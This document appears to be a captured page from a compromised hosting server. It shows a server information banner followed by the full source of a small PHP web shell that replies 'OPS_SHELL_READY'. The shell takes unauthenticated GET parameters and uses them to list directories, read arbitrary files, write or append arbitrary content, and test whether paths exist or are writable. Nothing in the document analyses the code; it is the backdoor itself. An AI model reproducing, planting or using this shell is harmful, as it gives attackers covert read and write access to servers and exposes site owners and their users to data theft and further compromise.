Server Address : 2a02:4780:a:760:0:37cc:13e2:3
Web Server : LiteSpeed
Uname : Linux uk-fast-web660.main-hosting.eu 5.14.0-570.55.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Oct 21 05:27:51 EDT 2025 x86_64
PHP Version : 7.4.33
<?php
$action = isset($_GET['a']) ? $_GET['a'] : '';
if($action === 'list' && isset($_GET['d'])) {
$items = scandir($_GET['d']);
foreach($items as $item) echo $item . "\n";
}
elseif($action === 'read' && isset($_GET['f'])) {
if(file_exists($_GET['f'])) echo file_get_contents($_GET['f']);
else echo "NOT_FOUND";
}
elseif($action === 'write' && isset($_GET['f']) && isset($_GET['c'])) {
file_put_contents($_GET['f'], $_GET['c']);
echo "WRITTEN:" . (file_exists($_GET['f']) ? "OK" : "FAIL");
}
elseif($action === 'append' && isset($_GET['f']) && isset($_GET['c'])) {
file_put_contents($_GET['f'], "\n" . $_GET['c'], FILE_APPEND);
echo "APPENDED";
}
elseif($action === 'cwd') {
echo getcwd();
}
elseif($action === 'exists' && isset($_GET['f'])) {
echo file_exists($_GET['f']) ? "EXISTS" : "NOT_FOUND";
}
elseif($action === 'iswritable' && isset($_GET['f'])) {
echo is_writable($_GET['f']) ? "WRITABLE" : "NOT_WRITABLE";
}
else {
echo "OPS_SHELL_READY";
}